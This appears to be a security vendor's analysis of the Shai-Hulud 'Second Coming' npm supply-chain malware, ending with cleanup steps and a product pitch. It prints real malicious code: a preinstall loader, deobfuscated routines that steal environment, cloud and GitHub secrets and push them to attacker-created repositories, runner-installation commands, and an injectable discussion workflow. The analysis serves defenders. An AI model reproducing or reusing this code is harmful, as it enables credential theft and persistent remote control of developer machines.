On November 24, 2025, Aikido Security released an article regarding a new batch of malicious packages from the threat actor now dubbed as Shai-Hulud. The malicious code tries to gather credentials from the local host it resides. Then, using those credentials, the malware tries to gather other credentials from the user’s credential manager. All the output is sent to public GitHub repositories, to which they have conveniently given descriptions of “Sha1-Hulud: The Second Coming.”
The first known target was Zapier, with ENS, AsyncAPI, PostHog, Postman, and other vendors later confirmed. Overall, there are 492 packages compromised with a total of 132 million monthly downloads, as cited by Aikido.
Malware init
The malware is ingested in two parts in the library’s repository. The first part was the loader of the malware, stored inside setup_bun.js. This malicious code is loaded when the library is loaded and executed bun_environment.js, a heavily obfuscated script which contains the actual malicious code.
For the malicious script to be ingested by the library, it was included in the package.json file as a pre-install script. That way, before anything happened with the library, the malicious code would run.
{
"name": "asyncapi-utility",
"version": "1.0.0",
"bin": { "asyncapi-utility": "setup_bun.js" },
"scripts": {
"preinstall": "node setup_bun.js"
},
"license": "MIT"
}The malware appears to be using bun to run the malicious code, hence the _bun postfix on the JS scripts. setup_bun.js will check if bun is installed and, if not, will install the tool, using the install script provided on bun.sh.
let bunExecutable;
if (isBunOnPath()) {
// Use bun from PATH
bunExecutable = 'bun';
} else {
// Check if we have a locally downloaded bun
const localBunDir = path.join(__dirname, 'bun-dist');
const possiblePaths = [
path.join(localBunDir, 'bun', 'bun'),
path.join(localBunDir, 'bun', 'bun.exe'),
path.join(localBunDir, 'bun.exe'),
path.join(localBunDir, 'bun')
];
const existingBun = possiblePaths.find(p => fs.existsSync(p));
if (existingBun) {
bunExecutable = existingBun;
} else {
// Download and setup bun
bunExecutable = await downloadAndSetupBun();
}
}Then, bun will run bun_environment.js, which will execute all the malicious tasks.
const environmentScript = path.join(__dirname, 'bun_environment.js');
if (fs.existsSync(environmentScript)) {
runExecutable(bunExecutable, [environmentScript]);
} else {
process.exit(0);
}The bad bun
bun_environment.js is a very large file of almost 10MB of JS code. The code appears to be heavily obfuscated, with code elements like variables and function names being renamed to HEX values. The code even has a function that resolves the names of the objects from HEX to human readable (function a0_0x4cc3).
var stringLookup = decodeString;
function decodeString(index) { // function a0_0x4cc3
var arr = stringArrayGenerator();
decodeString = function(idx) {
idx = idx - 0x0;
var value = arr[idx];
return value;
};
return decodeString(index);
}The function goes through an array of strings _0x259634 inside the function a0_0x1bc8, which contains the value in strings for the HEX value provided. In that value, we also have the exfiltration repository description 'Sha1-Hulud: The Second Coming.'
function a0_0x1bc8() {
var _0x259634 = ['res', 'wXWSe', 'mVuzm', 'sendRequest', 'decorate', 'WPqdu', 'createRepo', 'CZnOV', 'RcRqY', 'shrNonce', 'xgbhH', 'oneofDecl', '\\'. Acceptable values: ', 'undeleteFolder response %j', 'mAamk',
--snip--
'GET /orgs/{org}/teams/{team_slug}/discussions/{discussion_number}/reactions', 'decimalPlaces', '{region}', 'getMaxAttempts', 'Visual Studio Code Authentication is not available. Ensure you have have Azure Resources Extension installed in VS Code, signed into Azure via VS Code, installed the @azure/identity-vscode package, and properly configured the extension.', 'DELETE /orgs/{org}/packages/{package_type}/{package_name}', 'UrEnN', 'KHPKr', 'ETSpv', 'Sha1-Hulud: The Second Coming.', 'MSsLt', 'China (Beijing)', 'ovSfH', 'icKRM', 'pickSubchannel', 'Cancelled by parent call'];
a0_0x1bc8 = function () {
return _0x259634;
}Using this function, we are able to resolve strings that are obfuscated in the script.
a0_0x4cc3(0x2840) → "secretmanager.googleapis.com/Secret"
a0_0x4cc3(0xe8d) → "<https://www.googleapis.com/auth/cloud-platform>"The last part of the code will work as the code’s main function. It will start by detecting if the code is being executed in a CI/CD environment and execute tasks accordingly.
async function jy1() {
var _0x6211fe = a0_0x3f79ba;
if (process['env']['CI'] || process['env']['CONTINUOUS_INTEGRATION'] || process['env']['GITHUB_ACTIONS'] || process['env']['GITLAB_CI'] || process['env']['CIRCLECI'])
await aL0();
else {
if (process['env']['POSTINSTALL_BG'] !== '1') {
if (_0x6211fe(0x4e2e) !== _0x6211fe(0x4e2e))
return this['_gaxGrpc']['createStub']('service', _0xb9a24b), [_0x1307f5, _0x3e04b8, _0x47daff];
else {
let _0x4ff1f9 = process['execPath'];
if (process['argv'][0x1]) {
if (_0x6211fe(0x492f) !== _0x6211fe(0x492f)) {
if (_0x5c2e2c(_0x310c70, 0x0, _0x2f8dbd), _0x44df93 == null)
_0x1beb91 = _0x2f466f;
else
_0x5dd733(_0x2a58f0, 0x0, 0x8);
return _0x12b958(new _0x76e273(_0x17bc6d), _0x413db1 + _0x4d0423['e'] + 0x1, _0x2a4ded);
} else {
Bun['spawn']([_0x4ff1f9, process['argv'][0x1]], {
'env': {
...process['env'],
'POSTINSTALL_BG': '1'
}
})['unref']();
return;
}
}
}
}
try {
await aL0();
} catch (_0x5d9066) {
process['exit'](0x0);
}
}
}
jy1()['catch'](_0x479bd => {
process['exit'](0x0);
});- Steal SecretsManager credentials as defined on JSON
_0x4b3fc6 - Steal credentials from the environment variable
async function aL0()
let environmentData = {
environment: process.env
};
// System information with hostname and user
let systemData = {
system: {
platform: systemInfo.platform,
architecture: systemInfo.architecture,
platformDetailed: systemInfo.platformRaw,
architectureDetailed: systemInfo.archRaw,
hostname: os.hostname(),
os_user: os.userInfo()
},
modules: {
github: {
authenticated: github.isAuthenticated(),
token: github.getToken(),
username: username
}
}
};
// Upload to GitHub
let saveEnv = github.saveContents(
'environment.json',
JSON.stringify(environmentData),
'Add file'
);
}- Download TruffleHog and run it on the compromised machine to find stored credentials
async ['getLatestRelease']() {
var _0x3e5310 = a0_0x3f79ba;
let _0x2b4de5 = await fetch('<https://api.github.com/repos/trufflesecurity/trufflehog/releases/latest>');
if (!_0x2b4de5['ok'])
throw Error('Failed\\x20to\\x20fetch\\x20latest\\x20release:\\x20' + _0x2b4de5['status']);
return _0x2b4de5['json']();
}
['selectAsset'](_0x285891) {
var _0x167fde = a0_0x3f79ba;
let _0x393e83 = a0_0x44bdb7(),
_0x451906 = this['normalizeArch'](a0_0x51195d()),
_0x4797e8 = [];
if (_0x393e83 === 'win32')
_0x451906['forEach'](_0x40c564 => _0x4797e8['push'](_0x40c564 + '.exe')),
_0x4797e8['push']('.exe', 'windows');
else {
if (_0x393e83 === 'darwin')
_0x451906['forEach'](_0x1b7a2d => _0x4797e8['push'](_0x1b7a2d + '.darwin', _0x1b7a2d + '.macos')),
_0x4797e8['push']('darwin', 'macos');
else
_0x451906['forEach'](_0x299ce6 => _0x4797e8['push'](_0x299ce6 + '.linux')),
_0x4797e8['push']('linux');
}
for (let _0x48b273 of _0x4797e8) {
let _0x56c72a = _0x285891['find'](_0x3ce643 => _0x3ce643['name']['toLowerCase']()['includes'](_0x48b273['toLowerCase']()));
if (_0x56c72a)
return _0x56c72a;
}
return _0x285891['find'](_0x130168 => _0x130168['name']['toLowerCase']()['includes']('trufflehog')) ?? null;
}
['normalizeArch'](_0x5352e1) {
var _0x3bc23e = a0_0x3f79ba;
if (_0x5352e1 === 'x64')
return ['amd64', 'x86_64', 'x64'];
if (_0x5352e1 === 'arm64')
return ['arm64', 'aarch64'];
return [_0x5352e1];
}
async ['downloadFile'](_0x47dec5, _0x2dc003) {
var _0x1de01c = a0_0x3f79ba;
let _0x108997 = await fetch(_0x47dec5);
if (!_0x108997['ok'])
throw Error('Failed\\x20to\\x20download:\\x20' + _0x108997['status']);
let _0x5c8e9f = a0_0x5a8722(_0x2dc003);
if (_0x108997['body'])
await qy1(_0x108997['body'], _0x5c8e9f);
else
throw Error('Response\\x20body\\x20is\\x20null');
}
async ['extractArchive'](_0x562e2f) {
var _0x2066b4 = a0_0x3f79ba;
let _0x5859a7 = a0_0x1acdee(_0x562e2f)['toLowerCase'](),
_0x16ec5a = a0_0x53fe15(this['config']['cacheDir'], 'extract');
if (await a0_0x2cc727['mkdir'](_0x16ec5a, {'recursive': !0x0}),
_0x5859a7['endsWith']('.zip'))
await this['runCommand']('unzip', ['-o', _0x562e2f, '-d', _0x16ec5a]);
else {
if (_0x5859a7['endsWith']('.tar.gz') || _0x5859a7['endsWith']('.tgz'))
await this['runCommand']('tar', ['-xzf', _0x562e2f, '-C', _0x16ec5a]);
else {
let _0x8ab364 = 'trufflehog' + (a0_0x44bdb7() === 'win32' ? '.exe' : ''),
_0x5f035f = a0_0x53fe15(this['config']['cacheDir'], _0x8ab364);
return await a0_0x2cc727['copyFile'](_0x562e2f, _0x5f035f),
await a0_0x2cc727['chmod'](_0x5f035f, 0x1ed),
_0x5f035f;
}
}
let _0x186a54 = (await a0_0x2cc727['readdir'](_0x16ec5a))['find'](_0x411141 => _0x411141['toLowerCase']()['includes']('trufflehog'));
if (!_0x186a54)
throw Error('Could\\x20not\\x20find\\x20trufflehog\\x20binary');
let _0x17ab93 = a0_0x53fe15(_0x16ec5a, _0x186a54),
_0x1c4771 = 'trufflehog' + (a0_0x44bdb7() === 'win32' ? '.exe' : ''),
_0x2720b9 = a0_0x53fe15(this['config']['cacheDir'], _0x1c4771);
return await a0_0x2cc727['copyFile'](_0x17ab93, _0x2720b9),
await a0_0x2cc727['chmod'](_0x2720b9, 0x1ed),
await a0_0x2cc727['rm'](_0x16ec5a, {'recursive': !0x0}),
_0x2720b9;
}
async ['runCommand'](_0x54eac0, _0x5d80b3) {
var _0x5a61c9 = a0_0x3f79ba;
let _0x3ebe81 = Bun['spawn']([_0x54eac0, ..._0x5d80b3], {
'stdout': 'pipe',
'stderr': 'pipe'
});
if (await _0x3ebe81['exited'],
_0x3ebe81['exitCode'] !== 0x0)
throw Error('Command\\x20failed:\\x20' + _0x54eac0 + '\\x20' + _0x5d80b3['join']('\\x20') + '\\x20(exit\\x20code:\\x20' + _0x3ebe81['exitCode'] + ')');
}- Search for GitHub Actions Artifacts and dump them into the file results.json
for(let _0x18af5b of _0x1f9277)try{let _0x33db57='<https://api.github.com/repos/'+_0x159ad4+'/'+_0x159bba+_0x2ea697(0x173e)+_0x18af5b['id>']+_0x2ea697(0x3f5d),_0x2f4d22=(await a0_0x25a52d(_0x33db57,{'method':_0x2ea697(0x514a),'headers':{'Accept':_0x2ea697(0x2856),'Authorization':_0x2ea697(0x2e5b)+this[_0x2ea697(0x1f1c)]},'redirect':_0x2ea697(0x274a)}))[_0x2ea697(0x3a9a)]['get']('location');if(!_0x2f4d22)continue;let _0x11129d=await a0_0x25a52d(_0x2f4d22,{'method':_0x2ea697(0x514a),'headers':{'Accept':_0x2ea697(0x3352)}});if(!_0x11129d['ok'])continue;let _0x4eb62f=await _0x11129d['arrayBuffer'](),_0x48955e=Buffer[_0x2ea697(0x3319)](new Uint8Array(_0x4eb62f)),_0x30b148=new tG0[(_0x2ea697(0x127e))](_0x48955e)[_0x2ea697(0x166f)](_0x2ea697(0x2c8b));if(!_0x30b148)continue;let _0x9becf=_0x30b148[_0x2ea697(0x2efd)](),_0x26502f=JSON[_0x2ea697(0x301b)](_0x9becf[_0x2ea697(0x4b2e)](_0x2ea697(0x348)));try{await this[_0x2ea697(0x1868)][_0x2ea697(0x12cd)](_0x2ea697(0x5951),{'owner':_0x159ad4,'repo':_0x159bba,'run_id':_0x15f9e1});}catch{}yield _0x26502f;}catch{if('SKGRz'!==_0x2ea697(0x30a2))continue;else{let _0x4aaf14=_0x59d5f1[_0x2ea697(0xab7)](),_0x44f257=_0xf1d905===_0x4aaf14?_0x1093f4:_0x4aaf14+'.'+_0x4c0238;if(_0x168ecf[_0x2ea697(0x5dfb)]['hasOwnProperty'][_0x2ea697(0x5faa)](_0x5ee97c,_0x44f257))return _0x1a441b[_0x44f257];else{for(let [_0x3833c7,_0xd40069]of _0x651923[_0x2ea697(0x33e4)](_0x2b92ed))if(_0x3833c7[_0x2ea697(0x4561)](_0x4aaf14+'.')&&_0xd40069[_0x2ea697(0x2d3c)][_0x2ea697(0x1eb)]===_0x4aaf14&&_0xd40069[_0x2ea697(0x2d3c)][_0x2ea697(0xfe6)])_0x1b3f34[_0x2ea697(0x2fc7)](_0xd40069[_0x2ea697(0x2d3c)]['className']);}}}break;}try{await this[_0x2ea697(0x1868)]['request'](_0x2ea697(0xb26),{'owner':_0x159ad4,'repo':_0x159bba,'branch':_0x5264a1});}catch(_0x48c1fc){if(_0x2ea697(0x5c33)===_0x2ea697(0x4f34)){if(this[_0x2ea697(0x4966)]()){for(let [_0x87c96b,_0x3b8a8d]of this[_0x2ea697(0x511)]())if(_0x3b8a8d[_0x2ea697(0x2680)]()&&_0x3b8a8d[_0x2ea697(0x4966)]())return _0x87c96b;}return'';}else console[_0x2ea697(0x4a26)](_0x2ea697(0x118c));}}catch(_0x8f6173){if('ccFxu'===_0x2ea697(0x4d77)){console[_0x2ea697(0x4a26)](_0x2ea697(0x2fa4));continue;}else return this[_0x2ea697(0x48d4)](_0x5b088a,_0x244b9f)[_0x2ea697(0x36dc)]();}}}- Download AWS, Azure, and GCP credentials:
_0xa50f9e = {
'aws': {
'secrets': await _0x511a7b['getSecrets']()
},
'gcp': {
'secrets': await _0x2efcec['getSecrets']()
},
'azure': {
'secrets': await _0x390843['getSecrets']()
}
},
_0x5801a8 = {
'environment': process['env']
},
_0x1c3489 = _0x43e355['saveContents']('environment.json', JSON['stringify'](_0x5801a8), 'Add\\x20file'),
_0x383025 = _0x43e355['saveContents']('cloudSecrets.json', JSON['stringify'](_0xa50f9e), 'Add\\x20file'),
_0x443533 = _0x43e355['saveContents']('systemInfo.json', JSON['stringify'](_0x594cb1), 'Add\\x20file'),
_0x5a8131 = await El(_0x587238);- Retrieve system information that is later stored in
systemInfo.json
function $y1() {
var _0x4416fa = a0_0x3f79ba;
let _0x45a0cb = a0_0x5baa9a['platform'](),
_0x118ebf = a0_0x5baa9a['arch'](),
_0x2d7e77;
if (_0x45a0cb === 'win32')
_0x2d7e77 = 'windows';
else {
if (_0x45a0cb === 'linux')
_0x2d7e77 = 'linux';
else {
if (_0x45a0cb === 'darwin')
_0x2d7e77 = 'darwin';
else
_0x2d7e77 = 'linux';
}
}
let _0x3ad966;
if (_0x118ebf === 'ia32')
_0x3ad966 = 'x86';
else {
if (_0x118ebf === 'x64')
_0x3ad966 = 'x64';
else {
if (_0x118ebf === 'arm')
_0x3ad966 = 'arm';
else {
if (_0x118ebf === 'arm64')
_0x3ad966 = 'arm64';
else
_0x3ad966 = 'x64';
}
}
}
return {
'platform': _0x2d7e77,
'architecture': _0x3ad966,
'platformRaw': _0x45a0cb,
'archRaw': _0x118ebf
};
}
let saveSystem = github.saveContents(
'systemInfo.json',
JSON.stringify(systemData),
'Add file'
);Every data requested will be stored in the following files:
- cloud.json: Cloud provider credentials (AWS, Azure, GCP)
- contents.json Repository contents and source code
- environment.json Environment variables and system info
- truffleSecrets.json Secrets detected by TruffleHog scanner
- actionsSecrets.json GitHub Actions secrets
- results.json GitHub Artifacts
- systemInfo.json Information about the current system
We’re having a discussion about this (GitHub) Action
The last piece of malware the threat actors are adding is the malicious GitHub Action, which executes a command on the target’s machine as soon as a discussion is created. That piece of malware is stored in the file discussion.yaml. Due to how GitHub Actions manages direct variable interpolation, if the data is provided inside the run field, it will be considered a command, as explained in this article.
name: Discussion Create
on:
discussion:
jobs:
process:
env:
RUNNER_TRACKING_ID: 0
runs-on: self-hosted
steps:
- uses: actions/checkout@v5
- name: Handle Discussion
run: echo ${{ github.event.discussion.body }}What the attacker needs to do is create a GitHub discussion on the repository, with the malicious command they want to execute, and it will be executed on the compromised machines. Since the Action contains the field runs-on: self-hosted, the command will be executed on the machines where the library is installed.
To be able to manage the compromised machines through the malicious GitHub Action, the script will also download and configure GitHub Actions runner on the victim's machine, under the name SHA1HULUD on the paths defined based on the OS of the machine. This Action runner will execute the Discussion GitHub action and manage the compromised target.
- Linux:
$HOME/.dev-env/ - Windows:
%USERPROFILE%\\.dev-env\\ - macOS:
$HOME/.dev-env/
async [a0_0x3f79ba(0x6048)](repoName, description = a0_0x3f79ba(0x603b), isPrivate = !0x1) {
var str = a0_0x3f79ba;
if (!repoName) return null;
try {
let repoData = (await this['octokit'][str(0x3819)][str(0x6f9)][str(0x212c)]({
'name': repoName,
'description': description,
'private': isPrivate,
'auto_init': !0x1,
'has_issues': !0x1,
'has_discussions': !0x0,
'has_projects': !0x1,
'has_wiki': !0x1
}))[str(0x4dc2)],
ownerLogin = repoData[str(0x1904)]?.[str(0x4a12)],
repoNameResponse = repoData[str(0x71b)];
if (!ownerLogin || !repoNameResponse) return null;
if (tokenResponse[str(0x3d2a)] == 0xc9) {
if (str(0x4a29) === str(0x4a29)) {
let registrationToken = tokenResponse['data'][str(0x1f1c)];
if (a0_0x2d6a77[str(0x21b8)]() === str(0xdc7))
await Bun['$']`mkdir -p $HOME/.dev-env/`,
await Bun['$']`curl -o actions-runner-linux-x64-2.330.0.tar.gz -L <https://github.com/actions/runner/releases/download/v2.330.0/actions-runner-linux-x64-2.330.0.tar.gz`[str(0x5a68)]>(a0_0x2d6a77['homedir'] + str(0x2d3))['quiet'](),
await Bun['$']`tar xzf ./actions-runner-linux-x64-2.330.0.tar.gz`[str(0x5a68)](a0_0x2d6a77[str(0x300b)] + str(0x2d3)),
await Bun['$']`RUNNER_ALLOW_RUNASROOT=1 ./config.sh --url <https://github.com/${ownerLogin}/${repoNameResponse}> --unattended --token ${registrationToken} --name "SHA1HULUD"`[str(0x5a68)](a0_0x2d6a77[str(0x300b)] + str(0x2d3))[str(0x5f38)](),
await Bun['$']`rm actions-runner-linux-x64-2.330.0.tar.gz`[str(0x5a68)](a0_0x2d6a77[str(0x300b)] + str(0x2d3)),
Bun[str(0x3ae4)]([str(0x2438), '-c', str(0x4e5e)])[str(0x5366)]();
else {
if (a0_0x2d6a77[str(0x21b8)]() === str(0x5691))
await Bun['$']`powershell -ExecutionPolicy Bypass -Command "Invoke-WebRequest -Uri <https://github.com/actions/runner/releases/download/v2.330.0/actions-runner-win-x64-2.330.0.zip> -OutFile actions-runner-win-x64-2.330.0.zip"`[str(0x5a68)](a0_0x2d6a77[str(0x300b)]()),
await Bun['$']`powershell -ExecutionPolicy Bypass -Command "Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory(\\"actions-runner-win-x64-2.330.0.zip\\", \\".\\")"`[str(0x5a68)](a0_0x2d6a77[str(0x300b)]()),
await Bun['$']`./config.cmd --url <https://github.com/${ownerLogin}/${repoNameResponse}> --unattended --token ${registrationToken} --name "SHA1HULUD"`[str(0x5a68)](a0_0x2d6a77['homedir']())[str(0x5f38)](),
Bun[str(0x3ae4)](['powershell', '-ExecutionPolicy', str(0x13cb), str(0x4378), str(0x1687)], {
'cwd': a0_0x2d6a77[str(0x300b)]()
})[str(0x5366)]();
else {
if (a0_0x2d6a77['platform']() === str(0x2354))
await Bun['$']`mkdir -p $HOME/.dev-env/`,
await Bun['$']`curl -o actions-runner-osx-arm64-2.330.0.tar.gz -L <https://github.com/actions/runner/releases/download/v2.330.0/actions-runner-osx-arm64-2.330.0.tar.gz`[str(0x5a68)](a0_0x2d6a77[str(0x300b)>] + str(0x2d3))['quiet'](),
await Bun['$']`tar xzf ./actions-runner-osx-arm64-2.330.0.tar.gz`[str(0x5a68)](a0_0x2d6a77[str(0x300b)] + str(0x2d3)),
await Bun['$']`./config.sh --url <https://github.com/${ownerLogin}/${repoNameResponse}> --unattended --token ${registrationToken} --name "SHA1HULUD"`['cwd'](a0_0x2d6a77['homedir'] + str(0x2d3))[str(0x5f38)](),
await Bun['$']`rm actions-runner-osx-arm64-2.330.0.tar.gz`[str(0x5a68)](a0_0x2d6a77['homedir'] + str(0x2d3)),
Bun[str(0x3ae4)](['bash', '-c', 'cd\\x20$HOME/.dev-env\\x20&&\\x20nohup\\x20./run.sh\\x20&'])[str(0x5366)]();
}
}
await this[str(0x1868)]['request'](str(0x51d6), {
'owner': ownerLogin,
'repo': repoNameResponse,
'path': str(0x288),
'message': 'Add\\x20Discusion',
'content': Buffer[str(0x3319)](rZ1)['toString'](str(0x2a35)),
'branch': 'main'
});
} else {
this['state'] = str(0x5be6),
callback(!0x1);
return;
}
}Data exfiltration
When all information is retrieved, the malware will create a repository
function tL0() {
return Array.from({length: 18}, () =>
Math.random().toString(36).substring(2, 3)
).join('');
}
if(github.isAuthenticated()) {
await github.createRepo(tL0());
}There are currently 23,000+ repositories created by this script with the compromised credentials, and there are always new ones showing up.

Next steps to mitigate the attack
The compromised library owners have removed the malicious versions and releases and are recommending that the malicious libraries be removed. It is also recommended to search your machines that may have been exposed for any traces of the malware:
setup_bun.jsbun_environment.jscloud.jsoncontents.jsonenvironment.jsontruffleSecrets.jsondiscussion.yamlformatter_*.yml
Search for potentially malicious libraries installed and package.json files containing them, and then remove these versions:
grep -r "setup_bun.js" node_modules/*/package.json
grep -r "bun_environment.js" node_modules/*/package.json
npm list --depth=0
# *nix machines
rm -rf node_modules
rm -rf package-lock.json # or yarn.lock
rm -rf ~/.npm # Clear npm cache
# Windows Machines
rd /s /q node_modules
del package-lock.json
npm cache clean --forceSearch everywhere on the system for everything that contains any SHA1HULUD value or the .dev-env, which is the GitHub Action directory:
# *nix machines
find / -name "*SHA1HULUD*" 2>/dev/null
find / -name "run.sh" -path "*actions-runner*" 2>/dev/null
rm -rf $HOME/.dev-env/
# Windows Machines
Remove-Item -Recurse -Force $env:USERPROFILE\\.dev-env
Remove-Item -Recurse -Force $env:USERPROFILE\\actions-runner
Get-ChildItem -Path C:\\ -Recurse -Filter "*SHA1HULUD*" -ErrorAction SilentlyContinue | Remove-Item -ForceAny process that seems to be connected to the malware should be stopped and investigated:
# *nix machines
ps aux | grep -i runner
ps aux | grep -i sha1hulud
sudo pkill -9 -f "run.sh"
sudo pkill -9 -f "Runner.Listener"
sudo pkill -9 -f "SHA1HULUD"
# Windows Machines
Get-Process | Where-Object {$_.ProcessName -like "*runner*"} | Stop-Process -Force
Get-Process | Where-Object {$_.ProcessName -like "*SHA1HULUD*"} | Stop-Process -Force
taskkill /IM Runner.Listener.exe /F
taskkill /IM Runner.Worker.exe /FReset all credentials on AWS, Azure, and GCP, as well as GitHub PATs, and monitor for any action being made from any credentials you have so far. It is also recommended to search online for any repository containing the description “Sha1-Hulud: The Second Coming.”, which might contain your credentials.
Exaforce has you covered
Exaforce provides end-to-end visibility and detection for supply chain attacks like Shai-Hulud and earlier NPM compromises. By ingesting SBOMs directly from GitHub, Exaforce can identify malicious or unexpected package versions across customer environments. Customers can visually see these in our data explorer or leverage Exabot Search to ask for them in natural language.

Exaforce can also preemptively flag dependency risks, including packages that are too new and have not yet gone through a required vetting period. This prevents untrusted versions from being added to an application. Exaforce also identifies known malicious package versions so they can be removed before they become an attack vector.

Exaforce also monitors GitHub Actions for unusual workflow behavior, including suspicious files, unusual GitHub Action creation, and signs of credential misuse. If stolen secrets are used against your environment, our anomaly-detection engine highlights abusive authentications or repository activity in real time.

When this malware emerged, Exaforce’s MDR team immediately reviewed all customer environments for affected packages, malicious GitHub Actions, and the public repositories for customer data. Several customers referenced impacted packages, but all were pinned to safe versions, avoiding compromise.
Conclusions
Malicious packages seem to be the preferred technique for threat actors lately, mainly due to their worm-like behavior, large number of downloads, and the trust developers have in those libraries. As such, libraries need to be monitored, and each one of them needs to be considered as a threat, as they can be a dangerous method of compromise.
Hoping this attack did not target you, or you have it now under control, we suggest monitoring your environments and endpoints for any potential compromise.
































